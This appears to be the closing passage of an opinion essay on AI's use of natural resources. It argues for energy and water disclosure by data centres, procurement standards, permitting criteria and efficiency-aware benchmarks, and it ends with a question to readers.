Resource-efficient AI requires procurement standards, not just voluntary claims. Cloud buyers can ask providers for workload-level energy estimates, region-specific water data, hardware lifecycle policies, and time-matched clean electricity reporting.

Governments can require large data centres to disclose electricity demand, water consumption, backup fuel use, and grid interconnection impacts.
Permitting can prioritize sites with available transmission, low water stress, waste heat reuse potential, and credible recycling plans.

Research funding can also favour efficient model design. Benchmarks should report accuracy alongside energy, latency, memory, and hardware requirements. A model that improves accuracy by 0.2% while doubling inference cost should face scrutiny unless the application justifies it.

In conclusion, AI’s effect on Earth’s natural resources will be greatly determined by deployment choices: what gets automated, which models are used, where data centres are built, how power is sourced, how water is managed, and whether hardware is kept in productive use.
The next phase of AI infrastructure should be measured not only by model capability, but by useful work delivered per kilowatt-hour, litter of water, kilogram of material, and square meter of land.

Ultimately, as artificial intelligence scales to reshape global infrastructure, we are left with a critical calculation: will AI become the definitive catalyst for ecological optimization, or will its unrestrained operational footprint make it the very resource crisis it was deployed to solve?
(What is your Point Of View dearest gentle reader?)